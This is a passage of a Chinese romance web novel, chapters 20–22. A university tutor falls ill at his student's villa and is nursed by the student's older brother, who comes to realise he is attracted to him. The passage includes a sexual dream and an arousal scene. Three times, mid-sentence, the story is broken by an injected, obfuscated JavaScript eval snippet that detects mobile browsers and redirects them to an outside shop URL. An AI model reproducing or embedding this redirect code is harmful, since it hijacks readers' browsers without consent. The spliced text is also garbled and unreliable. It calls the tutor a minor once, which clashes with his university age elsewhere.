岑念苦着脸说:“你连我哥都敢骂,这不得抡着铜头皮带抽我。” “……” 难以想象,岑柏意到底对他可怜的弟弟做了什么,才能造成这样大的心理伤害。 转眼间,十二点到了,宁启洄正要点外卖,就听岑柏意淡声开口:“在家里吃午饭吧。” “阿姨不是放假回去了吗?”岑念嘟囔道。 “我做。”岑柏意淡淡道,视线落在宁启洄身上。 岑念眼睛一亮,“小宁老师,你有口福了,我哥做饭可好吃了!” 正在苦恼吃什么的宁启洄手指一顿,试图假客气,“这多不好意思。” 说着,屁股坐在沙发上纹丝不动。 岑柏意看破不说破,笑了一声,“多双筷子的事。” 20. 发烧 去别人家做家教结果留下来蹭饭还光坐着等吃,宁启洄有些浑身不自在,他试图给自己找点事。 他起身跟着岑柏意进了厨房,岑柏意突然停下,宁启洄猝不及防撞上他的后背。 “呜……” 宁启洄捂住鼻子,拧眉看向岑柏意。 “跟着我做什么。”岑柏意无奈叹气。 他拿开宁启洄的手,捏着他的下巴掰过来,“我看看有没有撞出个好歹来。” 宁启洄眼眶红红的,鼻尖也红红的,似乎是被撞疼了,眼角流出一点点生理性的眼泪,晶莹剔透。 “没事,就是红了点。” 宁启洄捂住鼻子,小声咕哝,“这得算工伤,岑老板。” 岑柏意又好气又好笑,“行,赔你一年工资行吗?” 宁启洄倒也不贪心,“点个菜就好,想吃鸡蛋羹。” “可以。”岑柏意很好说话。 “需要我做什么吗?”宁启洄像条小尾巴一样,跟在岑柏意身后,左看右看。 岑柏意背对着他做菜,满眼都是笑意,“敲四个鸡蛋打散,会吧?” 宁启洄赶忙点头,“会的。” 等敲完搅拌好,宁启洄端着碗过去,疑惑道:“就这么点?”够吃吗? 岑柏意温声道:“要加水的。” 没下过厨、只会煮泡面的宁大少爷:“喔。” 安静了一会,他又说:“你们家做灌水鸡蛋羹啊,这样很容易失去消费者的信赖。” “……”岑柏意陪他演,“没事的,发现黑幕的消费者都被我们干掉了。” 说完,阴测测笑了一声。 宁启洄被笑得起鸡皮疙瘩,恶人先告状,“你戏好多喔~” “……”你开心就好。 “我还能做点什么?”他在厨房里打转,总是找不到事情做。 岑柏意想了想,“那再添个菜,你把冰箱里的茄子洗好切成段,会切菜吧?” “完全OK!” 宁启洄翻出一根茄子,洗刷刷干净之后,放在砧板上,拿起锋利的菜刀冲着茄子比划。 一开始,一切都是很顺利的,直到宁启洄无意间抬头,瞥见岑柏意的身影。 灶上火开得很大,即便抽油烟机努力工作,厨房里也避免不了有一下油烟。 烟雾缭绕下,岑柏意的身形变得有些虚幻模糊,灯光也有些朦胧不清。 宁启洄只觉得岁月静好,他想,时间停留在这一刻也挺好的。 要是有谁嫁给了岑柏意,那肯定很幸福吧。 长得又高又帅,成绩好脾气好人缘也好,肯定很多人会喜欢他,虽然有时候冷着张脸,但宁启洄从来没有感受到过——除了第一次见面吃的那顿饭。 想到初见的场面,这人就是面冷心热,处久了就知道了,宁启洄有些好笑地弯了弯唇。 “嗷!”宁启洄一声惨叫,手部的疼痛把他拉回神。 “怎么搞的。”岑柏意关了火,一靠近就看见宁启洄手上的血口子,他皱起眉。 宁启洄不敢看他,总不能说是在看你走神就切到手了吧。 岑柏意先掏出手机给拍了个照,再给他处理了伤口。 “……?”这伤,是有什么纪念意义吗?还拍照留念。 厨房里有备着应急的药品,不过一般这儿只有家里做饭的阿姨和岑柏意来,夏玥最多榨点果汁拌个沙拉,没想到这些药还真能用上。 岑柏意先看了看药品的保质期,用生理盐水给他流血手指冲洗几遍,再涂了碘伏消毒,撒了点药粉,再用纱布给他包上了。 “先出去吧。”岑柏意处理好伤口,无情地把他赶了出去。 宁启洄看着自己包得肿了一圈的手指,哭笑不得,觉得没必要。 但看岑柏意的脸色,知晓他此刻心情算不上好,便没有去触霉头忤逆他来,乖顺地离开厨房。 “小宁老师。”岑念从楼上下来,怀里抱着什么东西,神神秘秘靠近他,“给你看个好东西!” 宁启洄配合着一副期待的模样。 “看!这是我哥小时候,是不是可好看!”岑念嘚嘚瑟瑟指着一张照片。 宁启洄发现了,岑念虽然经常挨他哥揍,但耐不住他是个兄控啊。 难怪总在自我PUA。 宁启洄看过去,照片上是个粉雕玉琢的小娃娃,皮肤亮得发光,眼睛滴溜圆,像是两颗大葡萄似的,嘴巴微微嘟起,小眉头也轻轻皱起,似乎很不想拍照。 确实好看。 接下来,岑念全方位多角度给宁启洄展示了不同时期的岑柏意,从刚出生到最近的照片都有。 从小帅到大的,他想。 突然,照片翻了一页,上面是一直普普通通的鸡,就是很常见的家养鸡,尾羽有一根五彩斑斓的黑的羽毛。 “这个,”岑念思索了一下,该怎么解释。 端着菜出来的岑柏意接过话,“这是我的另一个妹妹。” 宁启洄:“?” 这是哪里来的生物学奇迹? 岑柏意缓缓解释,当年他去山里看爷爷,失足落下山崖,岑家人找了一天一夜没找到,是这只不知道哪里跑出来的鸡叼着岑柏意的一截衣袖,领着他们去找到了人。 据说当时再晚一段时间,岑柏意会有生命危险。 当时岑老爷子一拍板,让岑柏意认了那只母鸡当妹妹,觉得这样能庇佑他一生。 这么些年岑柏意也确实没再出过什么事,连病都很少生,最多换季感感冒。 所以,岑先生和夏玥才由着他们去了,左不过家里多一口人,哦不,多一只鸡罢了。 不过当时岑柏意还小,不怎么记事,现在这鸡早就没了,据说是几年前误食掺了老鼠药的谷子被毒死了。 宁启洄点头,突然笑了一下,“所以,这是阿念的姐姐?”当时,岑念应该还没出生。 岑念臭着脸点头说是。 菜都摆上桌了,几人准备吃饭。 “……所以,这其实是你儿子侄儿辈的?”宁启洄看着那一碗黄澄澄浇了生抽的鸡蛋羹,微微沉默。 岑柏意也默了一瞬,点头。 宁启洄吸溜一口,眼里亮了亮,赞叹道:“青春没有售价,你儿入口即化。” “……闭嘴。” 岑柏意不知道想到了什么,耳朵有些红红的,不过好在宁启洄并没有注意到。 吃完饭,宁启洄躺在沙发上睡午觉,岑柏意就坐在边上的单人沙发看书,岑念溜去房间打游戏。 一片岁月静好。 快到两点了,岑柏意看了看依旧缩在毯子里的某人,无奈笑了笑,俯身过去,“该起了岁宝。” 毯子里的人只是动了动,小小声,“再睡一会……”声音听着有些沙哑。 岑柏意皱眉,把盖住头的毯子往下扒了扒,露出宁启洄泛着潮红的脸颊。 和那篇同人文里的家教老师迷离的表情一模一样,岑柏意很不合时宜地想。 但现在显然不是想这些的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012931|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着宁启洄红彤彤的脸,岑柏意伸手贴上他的额头,有些灼热的温度把他烫了一下,他拧眉,“宁启洄,你发烧了。” 说着,又给他量了体温,三十八度二,还好不算高烧,应该烧不傻。 “别贪凉,昨晚是不是又把温度调低了?”岑柏意叹气,给家里的私人医生打电话。 “还不是因为你洗冷水澡,怕你热傻了。”宁启洄嘟囔道。 岑柏意一顿,目光柔和地看着他,就听宁启洄迷迷瞪瞪说:“热傻了好,傻了全寝保研。” “……”他烧糊涂了,不跟他计较。 不多时,私人医生陈湫镜赶到了,他很年轻,瘦瘦高高的,穿着白大褂,脸上戴着银丝细框的眼睛,看着很能唬人。 陈湫镜一边开随身的箱子一边说:“阿念又伤着了?” 岑念摇头,刚要说什么,又被陈湫镜打断,“你的腿恢复得不错,很快就能拆石膏了,不需要复查。” “不是……” “你哥生病了?他身体一直很健康。”陈湫镜诧异道。 “麻烦尊重一下沙发上这么大一个人。”宁启洄强撑着身体看过去,虚弱出声。 他隐约听见医生的声音擦肩而过,他觉得死神往返几次找自己唠嗑。 这时,岑柏意又拿了毛毯出来,盖在宁启洄身上,厚厚地堆在一起,从头到尾给他盖得死死的。 陈湫镜:“……” 难怪他没看见这还有个人,刚才还以为沙发上只是放了一堆毯子。 陈湫镜给他解救出来,岑柏意抬眸,“不是说发烧了要捂汗?” “……”陈湫镜深吸一口气,看向岑柏意一手带大的岑念,眼里是隐隐的同情,“也不是这么个捂法,你这严重点,叫谋杀。” “……快给他看看。”岑柏意默默拿过毯子,宁启洄这才得以喘息。 陈湫镜重新给他量了体温,等待过程中,有些稀奇地看了眼宁启洄。 “你同学?”他啧啧两声,“没见过你把同学带家里来过。” 岑柏意淡声,“江千陵是鬼?” “……” 发小怎么能算呢,陈湫镜咕哝几句。 一套检查下来,确认宁启洄只是发热,没有鼻塞喉咙发炎之类的症状后,陈湫镜说只是着凉了,养两天就好了。 但在岑柏意的强烈要求下,他还是给人挂了点葡萄糖和生理盐水。 看完发烧,岑柏意又说刚才在厨房切到手了,需不需要再看看。 说着,把刚才拍下的照片给他看。 瞥见那点似乎很快就不流了的血,陈湫镜觉得自己很多年没有这么无语过了。 他觉得自己的雇主怕不是弱了智了,“刀又没生锈,不需要打破伤风,屁大点口子你还想干什么?” 岑柏意皱眉,还想说什么,却被陈湫镜堵了回去,“人体没那么脆弱,一天天的别胡思乱想。” 这话,宁启洄再赞同不过,只可惜他现在晕晕乎乎,没办法回应陈湫镜。 “假期三倍加班费哈~”话是对岑柏意说的,陈湫镜却冲宁启洄抛了个媚眼,转身离开。 客厅里瞬间安静下来,得知自己不需要补课的岑念很是高兴,但他还是关心了一番自己的老师,让自己显得没有高兴得太明显。 岑柏意摆摆手,让这个帮不上忙的家伙上楼了。 岑柏意盯着宁启洄紧闭的双眸看了一会,拿毛巾擦了擦他额头上的汗珠。 “今晚睡我家吧。”他沉声道。 21. 早恋 对视宁启洄疑惑的视线,岑柏意解释道:“你发烧了,一个人住寝室,我——”不放心。 但想了想,这话他来说总觉得哪里怪怪的。 “一个人住,你不太方便。” “?”哪里不方便了? 到底是发烧了大脑有些宕机,而且也确实不太舒服,宁启洄点点头,应下了。 突然,他又说:“我没带睡衣。” 岑柏意顿了顿,“穿我的,洗漱用品家里有新的。” 晚上九点多,岑柏意收拾好一切,催促宁启洄快点睡觉。 宁启洄试图反抗,“哪有大学生九点就睡的。” 岑柏意看了眼时间,“快十点了。” “……”明明刚九点半。 宁启洄搓了搓脖子,留下一点点红痕。 “怎么了?” “有点热。”目光希冀地看着岑柏意。 “……热也忍着,不能吹空调。” 原本,宁启洄是睡在岑柏意卧室边上的客卧,岑柏意给他拿了薄被子,但中途他过来看看,发现宁启洄几次都把被子掀在地上了。 岑柏意无奈,把自己卧室的空调关掉,等温度降下来了,把宁启洄连人带被子打横抱了过去。 中途,宁启洄再次热醒,发出轻轻的嘤咛。 偷偷摸摸下楼觅食的岑念正好撞上:“……” 岑柏意:“……” “你们……”岑念迟疑道。 这个画面就很诡异啊,他冷漠的大哥抱着他暴躁的家教老师,他眼尖地发现,小宁老师甚至穿着他哥的睡衣。 岑念盯着宁启洄潮红的脸颊,瞥见白皙脖颈上可疑的红印子,他诡异地沉默了一下。 他小宁老师还在生病啊! 他大哥简直,简直是畜生! 岑柏意抿唇,先发制人,“十一点了,还不睡觉。” 岑念嗷一声,拿了包薯片就跑。 这一折腾,宁启洄也清醒了一些,他躺在岑柏意床上,小声开着玩笑:“我今天是不是犯冲啊,又是撞鼻子切手,又是发烧的。” 岑柏意睡在沙发上,侧头看他两眼,轻声问:“需要请个法师过来吗?” “……倒也不必。”邪祟本祟宁启洄默然低头。 陈湫镜交代说不用捂汗,正常盖被子,如果体温过高给他降降温就行。 宁启洄老喜欢掀被子,岑柏意一个没注意,他就把半边身子露外边了。 岑柏意耐心给他盖上,宁启洄热得抓衣服,“热……” 说着,又推开被子,白皙的皮肤裸露在空气中,随着呼吸起伏。 岑柏意定定地看了几秒,然后刚正不阿地给他拢起睡衣衣领。 这么闹腾也不是办法,岑柏意想了想,轻手轻脚爬上宁启洄的床——原本是他自己的床,手长脚长地把宁启洄圈在怀里不让他动。 宁启洄迷迷糊糊挣扎几下,发现动不了,这下老实了。 现在是十月初,A市的气温还没有完全降下来,夜晚的空气有一点闷热,岑柏意也出了汗,但宁启洄还病着,他不敢开空调,只能陪着熬。 摸着宁启洄滚烫的肌肤,岑柏意拧了毛巾给他擦拭身体,擦到平时不见光的部位时,他深吸一口气,闭上眼睛擦,指尖总是会不小心碰到滚烫光滑的皮肤,像是被灼伤一般。 他很想缩回手,但他还得给宁启洄擦身子,以及某种不能宣之于口的隐秘思想,他擦了很久。 直到宁启洄身上没那么烫了,岑柏意才略带遗憾地收回手。 后半夜,宁启洄没再闹腾,倒是岑柏意醒了好几次给他量体温,见终于降到三十七度以下了,这才放心,给他擦了擦汗,把空调温度调高一点给开着了。 第二天,宁启洄一睁眼,就对上一张近在咫尺的脸,给他吓了一跳,回神再看,是岑柏意俊美但疲惫的脸, 他眨巴眨巴眼看着,视线从岑柏意紧闭的双眸,顺着高挺的鼻梁往下滑,慢慢停在他微微抿起的薄唇。 两人睡在一张床上,盖了两床被子,只不过宁启洄已经钻进他的被窝了,而岑柏意双手双脚缠住把他禁锢在怀里。 姿势看上去暧昧又体贴。 他的头被按在他颈窝,鼻尖触及的肌肤温热,能感受到充满蓬勃生命力的脉搏跳动。 宁启洄心虚地眨眨眼,他睡相确实不太好,经常掀被子,昨晚发烧估计热着了掀被子,岑柏意才把他抱住。 二十来岁的男生身体健康,不免体热,昨晚又没开空调,宁启洄有些不舒服地动了动,却被岑柏意无意识按地更紧。 突然,宁启洄感受到一股变化,似乎有什么硬硬的东西抵住他的腹部。 他僵硬地转动眼珠,岑柏意一只手抚上他的背部,一只手搭在他头顶,两条腿把他夹在中间…… 除非岑柏意有第三只手,不然抵住他的是什么东西,显而易见。 宁启洄稍稍动了动身体,想要远离那过于蓬勃的生命力,却被岑柏意再次抱紧,两人的身体再近一步,宁启洄甚至能感受出岑小意的尺寸。 是、是有点太夸张了,宁启洄咽了咽口水。 岑柏意还在睡,无意识在宁启洄脸上蹭了蹭,发出几声无意义的哼唧。 有点萌是怎么回事! 宁启洄定定地看了几秒,决定干点什么别的转移注意力。 他扭头打量了一下这个房间,房间布置得很简单,整体是灰白黑色调,看着很冷。 应该是岑柏意的卧室,昨晚他好像迷迷糊糊听到了岑柏意说睡他房间里。 唯一有点颜色的,是放在玻璃展示柜里的一排排乐高。 乐高? 宁启洄又看了眼岑柏意,没想到学神喜欢玩这个。 突然,门外传来声音。 “小意起了吗?”夏玥轻轻敲了敲门。 眼见着岑柏意要醒了,宁启洄吓得一激灵,赶忙闭眼,眼皮又忍不住掀开一丝丝缝朝门口看去。 他们现在可是抱得严丝合缝的,如果被夏玥看见了,指不定闹出什么误会。 脑海里再次出现前天看到同人文,宁启洄耳根悄悄红了。 岑柏意睁开眼,他觑见宁启洄小心翼翼的动作,笑了笑,“我醒了。” “那你快来吃饭。”夏玥顿了顿,柔声道,“小宁老师要是没醒就让他继续睡。” “他也醒了。” “那好,你们快点来哦。” 听到夏玥的脚步声走远,宁启洄这才睁开眼,冷不丁对上岑柏意凝视他的眸子。 “怎、怎么了?” “没事。”岑柏意身上摸了摸他的额头,发现确实不太烧了,这才安心,“起床吧,吃个早饭。” 夏玥不太会做饭,阿姨不在家的时候,早饭一般是岑柏意来做。 昨天照顾病人今天起晚了,早饭是大清早被老妈叫起来的岑念吭哧吭哧买回来的。 宁启洄用眼神示意他放开自己,岑柏意这才注意到,宁启洄居然钻进了他被窝里,他自己的被子则甩在了床尾。 两人身体紧挨着,身上某些细微的变化藏都藏不住。 青年人正是血气方刚的年纪,精力旺盛得不得了,大早上的意志力过于薄弱,有些旖旎的想法拦都拦不住。 岑柏意脸皮一热,轻咳一声,松开了他,身体稍稍远离。 掀开被子,宁启洄这才意识到,自己身上还穿着岑柏意的睡衣睡裤。 睡裤有点长,卷了一截起来,睡衣大了不少,穿着空落落的,稍稍一低头就能看见白皙的胸膛。 “……” 岑柏意轻咳一声,“你的衣服没干,你先,先穿我的吧。” 说着,起身去衣柜翻找出自己高中时期穿的衣服,宁启洄穿着只大一点点,还算合适。 吃过早饭,夏玥就拎着包包出门了,别墅里又只剩下他们仨。 昨天只上了小半天,但仁慈且慷慨的岑老板已经给他发了五个小时的家教费。 这一千块钱揣着烫手,宁启洄吃完饭休息了一会就想去履行他的义务,却被岑柏意强行镇压。 “不行,你先休息好。” 宁启洄想了想,说:“我戴好口罩,不会传染给阿念的。” “这跟他没关系,你生病了要好好休息。”岑柏意递给他一杯温水,监督他喝下去。 “可是……”宁启洄咕咚咕咚灌了几口,还想再争取一下。 “听我的。”岑柏意语气坚定,不容拒绝,眼睛直勾勾盯着他,“之后的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012932|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教费还想不想要了?” 说完,岑柏意突然诡异地沉默了。 宁启洄:“……?” 有一种同人文照进现实的感觉是怎么回事? 宁启洄隐约看见岑柏意说完,自己先愣了一下,耳根也突然红了。 是……错觉吗? 他眯起眸子,狐疑地盯过去,岑柏意面色如常,仿佛刚才只是他看错了。 宁启洄松了口气。 他就说嘛,岑柏意这种人怎么可能去看同人文,还是他们俩的CP同人文,太扯淡了。 经过一番争辩,两人各退一步,宁启洄下午三点开始做家教。 今天的课程也很顺利,中场休息的时候,岑念时不时盯他一眼,似乎有什么话要说。 宁启洄对听话的岑念有无限包容,他目光温和,“有事吗?” 岑念犹犹豫豫道:“小宁老师,你、你觉得同性恋怎么样啊?” 宁启洄惊悚回头,这两兄弟怎么都问同一个问题?! 他斟酌着语言,试图教导祖国的花朵,“同性异性都一样,每个人都有自己的想法,都一样值得尊重。” 说着,他话锋一转,“……但你现在年纪太小了,对情情爱爱没有太过深刻的认知,建议别把心思放在这上面。” “那你不讨厌同性恋吧,小宁老师?”岑念眼睛亮晶晶地看着他。 “?” 好耳熟啊,好像昨天吃日料的路上,这位的哥哥也问过他,问他基本上一模一样。 宁启洄把自己昨天的回答又重复了一遍,看着岑念越来越亮的眼睛,心里咯噔一下。 半晌,他委婉地说道:“阿念,你现在还是读书的年纪。” 岑念点点头,“嗯嗯!” “你明白我的意思吧?”宁启洄继续委婉。 “嗯嗯嗯!” 见他神色不作假,宁启洄放下心来,眉头舒展开。 岑念也挺高兴,他虽然是读书的岁数,可他哥成年了啊。 二十来岁,正是谈恋爱的好年纪! 两人对视一眼,都笑了起来,各美各的,心里怎么想,对方都不清楚。 宁启洄今天体温已经降下来了,上完课吃了个饭他就回学校了——由于岑大厨的盛情邀请,宁启洄国庆假期的午饭晚饭全都在他家解决了。 美滋滋。 临走前,他犹犹豫豫看了眼二楼某个房间,还是把岑柏意拉倒角落,小声说:“阿念今天跟我谈了关于同性恋的问题,你说他是不是喜欢上哪个男生了?你要不管管?” “……?”岑柏意垂眸看着他,缓缓敲出一个问号,“我等会问问。” 宁启洄张了张嘴,欲言又止。 “怎么了?”岑柏意轻声。 “你,温柔一点,阿念好像很怕你。”犹犹豫豫,宁启洄还是说了。 他觉得,大概是岑柏意给这小孩造成太大的心理伤害了。 “……”岑柏意说好。 等宁启洄走了,岑柏意去了岑念的卧室,卧室门没关,他看见岑念明晃晃亮着的电脑,搜索框:【怎么追男生】 岑柏意刚要说什么,就见岑念似乎对答案不满意,鬼鬼祟祟又输入了文字。 【同性恋怎么追男生】 【喜欢家教老师怎么追】 【天秤座男生好追吗】 越搜越离谱。 “……”岑柏意敲了敲门,沉声道,“岑念,有空吗?” 岑念吓得一哆嗦,眼疾手快给电脑息屏,“怎、怎么了哥?” “小小年纪别早恋。” “……” 他是真的冤枉,他这都是为了谁!还不是为了他铁树开花的老大哥! 岑念气得一脸通红,在岑柏意看来,这是害羞了。 “你该不会……”他皱眉,打量着岑念,“喜欢上小宁老师了?” 他记得宁启洄就是天秤座的,只不过,岑念是怎么知道的。 岑念:“……” 岑念:“???” 这他妈找谁说理去?! 他再管他大哥的事情,他就是狗! 岑念气呼呼关了门。 岑柏意挑眉,看来没有。 那就好。 22. 标准 宁启洄刚到山海七栋宿舍楼下,就收到岑柏意发来的消息: 【cby】:到寝室了吗? 【岁岁平安】:快到了。 【cby】:今天早点休息,明天来吃早饭。 吃早饭啊,那得提前起来了 宁启洄噘嘴,倒也没有很不乐意,刚要应下来,他突然听见旁边有一声猫叫。 宁启洄凝神去听,确实有。 他放慢脚步靠近,发现一旁的灌木丛里藏着一只大橘,大橘可怜巴巴冲他喵喵叫,声音很虚弱,像是没力气了。 宁启洄记得,这只猫猫一直待在山海七栋附近,据说是以前的一位学长养的,后面毕业了带不走就留在学校里了。 A大校园里有许多这样的流浪猫,都是靠在校学生的接济,养得有些膘肥体壮的。 平时也没有固定的人为,估计是国庆假大家都回去了,没人喂它,这猫饿着了。 宁启洄翻了翻背包,摸出一根开学买来就塞进包里没动过的火腿肠,撕了包装给它一点点喂了下去,又用盖子给它倒了水喝。 大橘填饱了肚子,很亲近地蹭了蹭宁启洄的指尖,夹着嗓子喵喵叫。 宁启洄笑了,给它拍了好些照片。 【cby】:怎么了? 岑柏意见他不回,问他在做什么。 宁启洄莫名想给他分享一下,他也确实这样做了,把大橘的照片挑了几张好看的给他发了过去。 【岁岁平安】:看!大橘! 对面回得很快。 【cby】:宿舍楼附近的? 【岁岁平安】:对,没人喂它,我给它吃了点火腿肠。 【cby】:注意别被咬了。 【岁岁平安】:(团子点头.jpg) 【cby】:(团子点头.jpg) 宁启洄笑了一下,见大橘跑远了,也就没再管了。 接下来几天,一切都是那么顺利。 课间休息,岑念抱着新买的小机器人,瞥了眼宁启洄。 他缓慢开口:“小宁老师,你知道吗,我们班有好多早恋的同学。” “?!!” 难道说,他哥都管不住少男想要放飞自我的早恋心了?! 宁启洄面容严肃,“谈恋爱不如搞学习,阿念你不要学。” 正准备劝慰的岑念:“?” 这怎么接? 想谈恋爱的难道是他吗? “小宁老师,咱们班男生和男生谈恋爱的就有两对,女生也有。” 宁启洄语气严肃,“在初中生这个年龄段有一种早恋跟风的现象,这是由于周边环境导致……”巴拉巴拉讲了一大堆。 “……”小宁老师好像不怎么开窍啊。 我在点你啊小宁老师! 岑念搜刮脑海里的语言知识存货,好不容易把话题给引到宁启洄身上。 “小宁老师,你喜欢什么样的男生啊?”岑念好奇地看过来。 宁启洄:“?” 他为什么要喜欢男生? 如果不是岑念进不去A大贴吧,他都要怀疑岑念也看过他和他哥哥的CP帖了,甚至跟了个同人贴。 那可不是一个十一二岁的小朋友该看的东西。 “哦不是,我的意思是,你找对象有什么要求啊?”岑念急忙改口道。 宁启洄盯着他看了几秒,看得后者头发都快竖起来了,才缓缓开口:“我的话,长得好看,学习好,脾气好,做饭好吃,然后……能和我一起养宠物的吧。” 他还挺喜欢小动物的。 岑念眼睛亮了亮:除了他哥那时不时的狗脾气,其他的完全符合! 他还想再问点什么,无奈休息时间已经过了,他只得乖乖上课。 等宁启洄离开了,岑念神秘兮兮凑近他哥。 “哥,你知不知道我和小宁老师聊了什么?”岑念笑嘻嘻道。 “……”岑柏意看了他一眼,语气平淡,“你们聊什么了?” “我们聊小宁老师的理想对象了。”岑念眼珠子一转,嘿嘿笑着,“哥,我最近看上个新款机器人……” “你问他这个做什么?”岑柏意挑眉。 “还不是为了……反正,你听不听嘛哥。”岑念嘀咕几声,嘚嘚瑟瑟的,就很欠揍。 “不是刚给你买了机器人?爱说不说。”岑柏意似乎不在意,转身离开。 “哎别别别,我说我说!”岑念急忙拉住岑柏意的手臂。 他把他们的对话复述了一遍,又悄咪咪说:“小宁老师要求够高的,没多少人达得到。” 岑柏意淡淡,“他自己就很好,要求高才配得上他。” 岑念相当用力地点头,“嗯嗯!我也这么觉得!” 岑柏意瞥了眼他的傻弟弟,不知道他在兴奋个什么劲。 这天晚上,他又梦到了宁启洄。 这次并没有代入任何同人文的场景,就是在310宿舍里,只有他们两个。 岑柏意把桌面资料挥散开,抱住他把他压在桌子上,狠狠亲上他的唇。 宁启洄小声嘤咛,身体有些颤抖,双手却环过他的脖颈,生涩地回应着。 岑柏意猛喘粗气,喉咙越发干涩,他低声问:“可以吗,岁宝?” 宁启洄慢慢抬头看他,双眸含水,面若桃花,他羞怯地点点头。 他看见自己把宁启洄翻了个身,急切地扒下他的衣服,开始更激烈更不能写的动作。 身下的人在哭,哭得他心肝都疼了,他停下动作,侧头去吻他,一点点吻掉他脸上的泪水。 他听见他哭着对他说:“我爱你,岑柏意。” 岑柏意猛地惊醒,下身一股湿意,他知道这代表了什么。 他静静地坐在床上,半晌,起身收拾。 房间里没开灯,岑柏意坐在黑暗里,慢慢平息着刚才的汹涌情感。 他想,为什么是宁启洄? 那股悸动的情感不是几篇同人文能带来的。 他垂眸,好像知道了答案。 思来想去,他决定和别人说说。 凌晨三点。 【cby】:你觉得我脾气好吗? 对方回得很快,也没睡。 【Анатолий】:? 【Анатолий】:谁?你吗? 【cby】:嗯。 江千陵嘲讽的话还在对话框没发出去,见他问得认真,看到这个有规有整的句号,他默默删掉那些话,昧着良心开始编。 【Анатолий】:挺好的,人见人爱花见花开车见车爆胎的那种好脾气。 【cby】:好。 江千陵犹犹豫豫,还是没把剩下的话说完。 岑柏意脾气确实不错,就是性子太冷淡了,不熟悉他的人都会觉得这人脾气很差,被那双眸子看一眼,立马心生寒意,哪里还愿意结交。 江千陵摸摸下巴,心想,这是有情况了啊。 岑柏意不知道他在想什么,他只觉得自己很有机会,现在就差一只宠物了。 中午,宁启洄照例点菜,“前两天刷到那个小猪盖被,铁锅炖之类的,看着好馋。” 见他一副小馋猫的模样,岑柏意忍不住笑了一下,“家里没有豇豆,我去超市买点,要一起吗?” 宁启洄点头,“我去洗个手。” 刚下楼的岑念也听见了,大声嚷嚷道:“我也要点我也要点!” “等吃还这么多要求。”岑柏意换好鞋,瞥了眼岑念。 岑念不敢置信,内心哇哇大哭:我不是你的好僚机了吗哥哥?! 宁启洄洗了手出来,岑念瞥见,趁机点菜。 “我要喝莲藕排骨汤!” “好。”他点头,后知后觉做饭的不是自己,又看向岑柏意,“可以的吧?” 岑柏意没说话,示意他快跟上。 附近没有超市,岑柏意开车带宁启洄去了靠近市中心的地方。 “哇塞,你还会开车,我都没有驾照。”宁启洄有些羡慕地看着他。 他还只是个没有考驾照的权利的可怜未成年。 家里也给他买了几台车,虽然他很眼馋,但除了稍微叛逆点一直本本分分的宁少爷从来没开过。 “过几天就能学了。”岑柏意含笑看他。 停好车,岑柏意轻车熟路带着他去了二楼。 “我买点排骨,你去挑几段藕,这两道菜费时间,得快点回去。”岑柏意走到生鲜区,给他交代着想到什么,又补充,“要面一点粉一点的,好吃。” 宁启洄比了个OK的手势,蹦跶着去了蔬菜区。 他还没怎么逛过超市,家里吃饭有阿姨做,苏女士又没有逛超市的爱好,他也就懒得来了。 有点小兴奋。 “你好,我要一点面藕。”宁启洄左看右看,找到立在一旁穿着红马甲像个支架的导购。 导购很年轻,看着二十岁出头,估计也是附近的大学生来兼职的,业务不太熟练。 “面藕……面藕,哦对对,面藕在那边。”导购自言自语,没和宁启洄说一句话。 啥也没问,导购就直不愣登把他带出了蔬菜区,给他拎了一袋子白色东西。 “……” 虽然他不会做饭也不怎么进厨房,但这个东西,好像不是藕,摸起来软软的。 但它,又有点像藕。 宁启洄百度识图,滴—— 银耳。 银耳?! “这真的是面藕吗?”宁启洄不确定地问。 “是的。” 对上导购清澈又坚定的眼神,宁启洄看了看塑料袋外面的商品名称,确实是面藕。 宁启洄犹犹豫豫,还是拎着这一袋子去找岑柏意。 岑柏意已经买好了排骨,推着车走过来,看见宁启洄手里拎着的东西,忍不住笑了两声。 宁启洄脸一红,知道自己找错了,但他试图甩锅,“是导购拿给我的。” “你怎么说的?”岑柏意忍笑问道。 “要面藕。” “……”倒也没说错。 “这是拌着吃的。” 岑柏意拎着那一袋子面藕放进小推车,手臂自然而然搭在宁启洄的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012933|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“走,去挑藕。” 宁启洄眨眨眼,没推开他。 岑柏意手心有些出汗,他走几步就瞥一眼宁启洄,见他没有太过排斥的反应,心下稍稍放松。 反正时间已经浪费不少,秉持着来都来了的精神,两人干脆把超市逛了个遍,岑柏意还买了不少零食,仔细一看都是他喜欢吃的。 “你买这么多零食,吃不完吧?”宁启洄吸溜一下口水,暗戳戳询问。 岑柏意拎着袋子笑看他,“给你买的。” 试图趁机分一点的宁启洄:“?” 